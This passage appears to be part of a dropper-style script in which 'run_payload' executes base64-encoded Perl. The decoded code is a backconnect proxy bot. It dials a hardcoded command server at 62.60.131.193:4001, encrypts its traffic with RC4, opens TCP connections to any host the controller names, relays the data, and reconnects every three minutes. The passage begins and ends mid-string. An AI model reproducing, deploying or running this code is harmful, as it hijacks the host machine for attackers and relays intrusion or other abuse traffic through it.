CQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_51.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTkzJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkp